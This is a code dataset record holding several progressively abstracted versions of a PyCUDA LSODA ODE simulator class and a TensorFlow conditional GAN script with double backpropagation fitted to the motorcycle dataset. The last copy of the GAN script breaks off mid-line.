repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads,\n in_atol=1e-06, in_rtol=1e-06):\n total_threads = threads * blocks\n experiments = len(parameters)\n neqn = self._speciesNumber\n init_common_kernel = self._completeCode.get_function('init_common')\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.\n _speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n liw[i] = isize\n lrw[i] = rsize\n try:\n for j in range(self._speciesNumber):\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.\n float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,\n total_threads)\n self._param_tex.set_array(ary)\n if self._dt <= 0:\n for i in range(self._resultNumber):\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n else:\n tt = self._timepoints[0]\n for i in range(self._resultNumber):\n while 1:\n next_time = min(tt + self._dt, self._timepoints[i])\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n if np.abs(next_time - self._timepoints[i]) < 1e-05:\n tt = next_time\n break\n tt = next_time\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n return ret_xt[0:experiments]\n",
"<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads,\n in_atol=1e-06, in_rtol=1e-06):\n total_threads = threads * blocks\n experiments = len(parameters)\n neqn = self._speciesNumber\n init_common_kernel = self._completeCode.get_function('init_common')\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.\n _speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n liw[i] = isize\n lrw[i] = rsize\n try:\n for j in range(self._speciesNumber):\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.\n float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,\n total_threads)\n self._param_tex.set_array(ary)\n if self._dt <= 0:\n for i in range(self._resultNumber):\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n else:\n tt = self._timepoints[0]\n for i in range(self._resultNumber):\n while 1:\n next_time = min(tt + self._dt, self._timepoints[i])\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n if np.abs(next_time - self._timepoints[i]) < 1e-05:\n tt = next_time\n break\n tt = next_time\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n return ret_xt[0:experiments]\n",
"<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n <function token>\n",
"<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,941 |
aba3e0907e59bc5125759e90d3c784ceb97fca80
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# python/motorcycle.py Author "Nathan Wycoff <[email protected]>" Date 06.23.2019
# Run a CGAN on the motorcycle data.
import keras
import numpy as np
from tqdm import tqdm
import matplotlib.pyplot as plt
np.random.seed(123)
import tensorflow as tf
from scipy.optimize import line_search
tf.enable_eager_execution()
tf.set_random_seed(123)
P = 1 # Dim of X data (to be conditioned on)
R = 1 # Dim of latent error variable
Q = 1 # Dim of y data (to be generated)
H = 20# Number of hidden units
epochs = 1000
doubleback_const = 1
# Load and pre-process data
mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header = 1)
N = mcycle.shape[0]
x = mcycle[:,0].reshape([N,P])
y = mcycle[:,1].reshape([N,Q])
#x /= max(x)
#y = (y-min(y)) / (max(y) - min(y))
x = (x - np.mean(x)) / np.std(x)
y = (y - np.mean(y)) / np.std(y)
# Build the generator, accepts X and Z as inputs
gen = tf.keras.Sequential()
gen.add(tf.keras.layers.Dense(H, input_dim = P + R, activation = tf.keras.activations.elu))
gen.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu))
gen.add(tf.keras.layers.Dense(Q))
# Build the discriminator, accepts an X and a Y as inputs.
disc = tf.keras.Sequential()
disc.add(tf.keras.layers.Dense(H, input_dim = P + Q, activation = tf.keras.activations.elu))
disc.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu))
disc.add(tf.keras.layers.Dense(1, activation = tf.keras.activations.sigmoid))
gen.summary()
disc.summary()
# NOTE: Compilation of discriminator needs to occur BEFORE we set its weights untrainable below, as these changes will not be reflected until disc is compiled again. So also be wary of compiling disc later, as its weights may not change.
#TODO: the above is a mess, find a better way.
#disc.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')
disc.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')
noise = tf.keras.layers.Input(shape = (R,))
xdat = tf.keras.layers.Input(shape = (P,))
genin = tf.keras.layers.concatenate([xdat, noise])
genout = gen(genin)
discin = tf.keras.layers.concatenate([xdat, genout])
validity = disc(discin)
#NOTE: Next lin possible issue in ordering of inputs?
both_mod = tf.keras.models.Model([xdat, noise], validity)
both_mod.layers[5].trainable = False
#both_mod.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')
#both_mod.compile(tf.train.AdamOptimizer(), 'binary_crossentropy')
both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')
## Custom training with double backprop
#genloss = lambda: both_mod.output
#genopt = tf.keras.optimizers.Adam(genloss, both_mod.trainable_variables)
# Do the training!
for epoch in tqdm(range(epochs)):
# Sample some noise
#TODO: Batch size
some_noise = np.random.normal(size=[N,R])
gen_dat = gen.predict(np.hstack([x, some_noise]))
# Train discriminator
#NOTE: Minor discrepency in losses from the manual loop below and from keras's built in: follow up if there appears to be bugs.
#disc_rl = disc.train_on_batch(np.hstack([x, y]), np.ones(N))
#disc_fl = disc.train_on_batch(np.hstack([x, gen_dat]), np.zeros(N))
#disc_loss = 0.5 * np.add(disc_rl, disc_fl)
disc.trainable = True
with tf.GradientTape() as td:
with tf.GradientTape() as t:
#preds_real = disc(tf.cast(np.concatenate([x, y]).reshape([N,P+Q]), tf.float32))
#preds_fake = disc(tf.cast(np.concatenate([x, gen_dat]).reshape([N,P+Q]), tf.float32))
preds_real = disc(tf.cast(np.hstack([x, y.reshape([N,Q])]), tf.float32))
preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))
dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds_real, tf.float64)))
dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.zeros(N).reshape([N,1]), tf.cast(preds_fake, tf.float64)))
dl = 0.5*tf.add(dl_real, dl_fake)
grads = t.gradient(dl, disc.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
#grads_norm += tf.reduce_sum(tf.square(grads[i]))
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, disc.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.trainable_variables[i]) for i in range(len(grads))]
disc.optimizer.apply_gradients(grads_n_vars)
disc.trainable = False
# Train generator
#both_mod.train_on_batch([x, some_noise], np.ones(N))
# Manually compute and apply gradient
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)])
bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds, tf.float64)))
#bl = tf.losses.sigmoid_cross_entropy(preds, np.ones(N).reshape([N,1]))
grads = t.gradient(bl, both_mod.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
#grads_norm += tf.reduce_sum(tf.square(grads[i]))
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, both_mod.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const*double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))]
both_mod.optimizer.apply_gradients(grads_n_vars)
# Plot the results
fig = plt.figure()
plt.scatter(x, y)
some_noise = np.random.normal(size=[N,P])
preds = gen.predict(np.hstack([x, some_noise]))
plt.scatter(x, preds)
#plt.savefig("images/motor_scatter.pdf")
plt.savefig("temp.pdf")
|
[
"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# python/motorcycle.py Author \"Nathan Wycoff <[email protected]>\" Date 06.23.2019\n\n# Run a CGAN on the motorcycle data.\nimport keras\nimport numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\n\nnp.random.seed(123)\nimport tensorflow as tf\nfrom scipy.optimize import line_search\ntf.enable_eager_execution()\ntf.set_random_seed(123)\n\nP = 1 # Dim of X data (to be conditioned on)\nR = 1 # Dim of latent error variable\nQ = 1 # Dim of y data (to be generated)\nH = 20# Number of hidden units\nepochs = 1000\ndoubleback_const = 1\n\n# Load and pre-process data\nmcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header = 1)\nN = mcycle.shape[0]\nx = mcycle[:,0].reshape([N,P])\ny = mcycle[:,1].reshape([N,Q])\n#x /= max(x)\n#y = (y-min(y)) / (max(y) - min(y))\nx = (x - np.mean(x)) / np.std(x)\ny = (y - np.mean(y)) / np.std(y)\n\n# Build the generator, accepts X and Z as inputs\ngen = tf.keras.Sequential()\ngen.add(tf.keras.layers.Dense(H, input_dim = P + R, activation = tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\n\n# Build the discriminator, accepts an X and a Y as inputs.\ndisc = tf.keras.Sequential()\ndisc.add(tf.keras.layers.Dense(H, input_dim = P + Q, activation = tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation = tf.keras.activations.sigmoid))\n\ngen.summary()\ndisc.summary()\n\n# NOTE: Compilation of discriminator needs to occur BEFORE we set its weights untrainable below, as these changes will not be reflected until disc is compiled again. So also be wary of compiling disc later, as its weights may not change.\n#TODO: the above is a mess, find a better way.\n#disc.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')\n\nnoise = tf.keras.layers.Input(shape = (R,))\nxdat = tf.keras.layers.Input(shape = (P,))\n\ngenin = tf.keras.layers.concatenate([xdat, noise])\ngenout = gen(genin)\n\ndiscin = tf.keras.layers.concatenate([xdat, genout])\nvalidity = disc(discin)\n\n#NOTE: Next lin possible issue in ordering of inputs?\nboth_mod = tf.keras.models.Model([xdat, noise], validity)\nboth_mod.layers[5].trainable = False\n\n#both_mod.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')\n#both_mod.compile(tf.train.AdamOptimizer(), 'binary_crossentropy')\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')\n\n## Custom training with double backprop\n#genloss = lambda: both_mod.output\n#genopt = tf.keras.optimizers.Adam(genloss, both_mod.trainable_variables)\n\n# Do the training!\nfor epoch in tqdm(range(epochs)):\n # Sample some noise\n #TODO: Batch size\n some_noise = np.random.normal(size=[N,R])\n\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n\n # Train discriminator\n #NOTE: Minor discrepency in losses from the manual loop below and from keras's built in: follow up if there appears to be bugs.\n #disc_rl = disc.train_on_batch(np.hstack([x, y]), np.ones(N))\n #disc_fl = disc.train_on_batch(np.hstack([x, gen_dat]), np.zeros(N))\n #disc_loss = 0.5 * np.add(disc_rl, disc_fl)\n\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n #preds_real = disc(tf.cast(np.concatenate([x, y]).reshape([N,P+Q]), tf.float32))\n #preds_fake = disc(tf.cast(np.concatenate([x, gen_dat]).reshape([N,P+Q]), tf.float32))\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N,Q])]), tf.float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds_real, tf.float64)))\n dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.zeros(N).reshape([N,1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5*tf.add(dl_real, dl_fake)\n\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n #grads_norm += tf.reduce_sum(tf.square(grads[i]))\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n\n # Train generator\n #both_mod.train_on_batch([x, some_noise], np.ones(N))\n # Manually compute and apply gradient\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds, tf.float64)))\n #bl = tf.losses.sigmoid_cross_entropy(preds, np.ones(N).reshape([N,1]))\n\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n #grads_norm += tf.reduce_sum(tf.square(grads[i]))\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n\n grads_n_vars = [(grads[i] + doubleback_const*double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\n\n# Plot the results\nfig = plt.figure()\nplt.scatter(x, y)\nsome_noise = np.random.normal(size=[N,P])\npreds = gen.predict(np.hstack([x, some_noise]))\nplt.scatter(x, preds)\n#plt.savefig(\"images/motor_scatter.pdf\")\nplt.savefig(\"temp.pdf\")\n",
"import keras\nimport numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nnp.random.seed(123)\nimport tensorflow as tf\nfrom scipy.optimize import line_search\ntf.enable_eager_execution()\ntf.set_random_seed(123)\nP = 1\nR = 1\nQ = 1\nH = 20\nepochs = 1000\ndoubleback_const = 1\nmcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1)\nN = mcycle.shape[0]\nx = mcycle[:, 0].reshape([N, P])\ny = mcycle[:, 1].reshape([N, Q])\nx = (x - np.mean(x)) / np.std(x)\ny = (y - np.mean(y)) / np.std(y)\ngen = tf.keras.Sequential()\ngen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.\n activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\ndisc = tf.keras.Sequential()\ndisc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.\n activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))\ngen.summary()\ndisc.summary()\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nnoise = tf.keras.layers.Input(shape=(R,))\nxdat = tf.keras.layers.Input(shape=(P,))\ngenin = tf.keras.layers.concatenate([xdat, noise])\ngenout = gen(genin)\ndiscin = tf.keras.layers.concatenate([xdat, genout])\nvalidity = disc(discin)\nboth_mod = tf.keras.models.Model([xdat, noise], validity)\nboth_mod.layers[5].trainable = False\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nfor epoch in tqdm(range(epochs)):\n some_noise = np.random.normal(size=[N, R])\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf\n .float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))\n dl_fake = 